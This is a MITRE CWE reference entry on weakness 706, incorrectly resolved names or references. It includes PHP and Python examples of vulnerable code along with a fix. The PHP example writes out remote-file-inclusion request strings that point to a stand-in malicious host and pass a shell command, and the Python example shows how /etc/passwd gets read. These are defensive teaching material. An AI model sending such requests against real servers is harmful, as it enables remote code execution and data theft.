Use of Incorrectly-Resolved Name or Reference (4.20) (original) (raw)

CWE Glossary Definition

Weakness ID: 706

Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction:Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

Description

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (View-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	41	Improper Resolution of Path Equivalence
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	59	Improper Link Resolution Before File Access ('Link Following')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	66	Improper Handling of File Names that Identify Virtual Resources
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	178	Improper Handling of Case Sensitivity
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	386	Symbolic Name not Mapping to Correct Object
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	827	Improper Control of Document Type Definition
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	99	Improper Control of Resource Identifiers ('Resource Injection')

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	59	Improper Link Resolution Before File Access ('Link Following')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	178	Improper Handling of Case Sensitivity

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Applicable Platforms

This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Demonstrative Examples

Example 1

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

(bad code)

Example Language: PHP dir=dir = dir=_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(bad code)

Example Language: PHP

An attacker could now go a step further in our example and provide a request string as follows:

victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Example 2

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
if path.startswith("/home/cwe/documents/"):

try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.

Weakness Ordinalities

Detection Methods

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Vulnerability Mapping Notes

Content History

Submissions
Submission Date	Submitter	Organization
2008-09-09(CWE 1.0, 2008-09-09)	CWE Content Team	MITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
Modifications
Modification Date	Modifier	Organization
2025-12-11(CWE 4.19, 2025-12-11)	CWE Content Team	MITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Weakness_Ordinalities
2023-06-29(CWE 4.12, 2023-06-29)	CWE Content Team	MITRE
updated Mapping_Notes
2023-04-27(CWE 4.11, 2023-04-27)	CWE Content Team	MITRE
updated Relationships
2023-01-31(CWE 4.10, 2023-01-31)	CWE Content Team	MITRE
updated Description
2021-10-28(CWE 4.6, 2021-10-28)	CWE Content Team	MITRE
updated Relationships
2020-02-24(CWE 4.0, 2020-02-24)	CWE Content Team	MITRE
updated Relationships
2019-06-20(CWE 3.3, 2019-06-20)	CWE Content Team	MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03(CWE 3.2, 2019-01-03)	CWE Content Team	MITRE
updated Related_Attack_Patterns
2018-03-27(CWE 3.1, 2018-03-27)	CWE Content Team	MITRE
updated Relationships
2017-11-08(CWE 3.0, 2017-11-08)	CWE Content Team	MITRE
updated Applicable_Platforms
2017-01-19(CWE 2.10, 2017-01-19)	CWE Content Team	MITRE
updated Relationships
2014-07-30(CWE 2.8, 2014-07-31)	CWE Content Team	MITRE
updated Relationships
2012-05-11(CWE 2.2, 2012-05-15)	CWE Content Team	MITRE
updated Related_Attack_Patterns, Relationships
2011-06-01(CWE 1.13, 2011-06-01)	CWE Content Team	MITRE
updated Common_Consequences
2011-03-29(CWE 1.12, 2011-03-30)	CWE Content Team	MITRE
updated Relationships
2010-12-13(CWE 1.11, 2010-12-13)	CWE Content Team	MITRE
updated Relationships
2010-02-16(CWE 1.8, 2010-02-16)	CWE Content Team	MITRE
updated Relationships
2009-03-10(CWE 1.3, 2009-03-10)	CWE Content Team	MITRE
updated Related_Attack_Patterns
2008-07-01(CWE 1.0, 2008-09-09)	Eric Dalci	Cigital
updated Time_of_Introduction

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